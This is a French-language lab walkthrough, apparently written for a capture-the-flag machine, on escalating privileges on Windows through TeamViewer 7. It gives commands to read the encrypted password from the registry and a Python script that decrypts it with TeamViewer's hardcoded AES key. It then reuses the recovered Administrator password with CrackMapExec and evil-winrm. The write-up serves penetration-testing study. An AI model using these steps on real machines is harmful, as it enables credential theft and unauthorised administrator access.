# TeamViewer - Vulnerable Processes (Windows Privilege Escalation)

Si l’on observe les tâches en cours d’exécution, on peut voir TeamViewer version 7.

```powershell
tasklist /svc
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FotjzL3LOMn3kjGLRctQk%2Fimage.png?alt=media&#x26;token=da3fa990-62a7-451c-8cb5-45997b42578b" alt=""><figcaption></figcaption></figure>

En cherchant dans les scripts de Metasploit, on en trouve un qui permet de récupérer le mot de passe de TeamViewer :

```powershell
locate teamviewer | grep metasploit
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FQzX994C4kWIwlZya84h5%2Fimage.png?alt=media&#x26;token=22c7285f-d059-490c-811f-6ef5cd9be960" alt=""><figcaption></figcaption></figure>

En analysant le script, il faut tout d'abord obtenir la clé (en fonction de la version) depuis le registre :

`HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7', 'Version`

Ensuite, on doit examiner les propriétés de sécurité, en particulier le mot de passe AES :

```powershell
cd HKLM:SOFTWARE\WOW6432Node\TeamViewer\\Version7

(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2F9riGEO4lhEG81nnvM8Df%2Fimage.png?alt=media&#x26;token=3658c11f-57f2-4063-9792-4b3cba4e7e62" alt=""><figcaption></figcaption></figure>

On va mettre dans `ciphertext` les octets suivants :

`255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91`

### Script Python Automatisation:

Voici le script qui automatise tout cela :

```python
from itertools import product
from Crypto.Cipher import AES 
import Crypto.Cipher.AES

IV = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"


decipher = AES.new(key,AES.MODE_CBC,IV)
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])


plaintext = decipher.decrypt(ciphertext).decode()
print(plaintext)
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2Fv1dnHkWJMDBUjOdBOVyZ%2Fimage.png?alt=media&#x26;token=021069ba-4caa-45db-9914-86014b0a091d" alt=""><figcaption></figcaption></figure>

Le mot de passe est `!R3m0te!`.

On va vérifier avec CrackMapExec si le mot de passe est correct pour l'utilisateur `Administrator` :

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FiZCAXRoZTVoSXumKl5oG%2Fimage.png?alt=media&#x26;token=63deb422-dca2-40e4-80a3-7d95296f8dff" alt=""><figcaption></figcaption></figure>

On se connecte avec Evil-WinRM, car le service d'administration de Windows à distance est actif sur le port 5985 :

```bash
evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FDyjJ8JTVWOx1FqtH43Bo%2Fimage.png?alt=media&#x26;token=bede8e94-9fb6-4327-9a88-635a27977d6b" alt=""><figcaption></figcaption></figure>
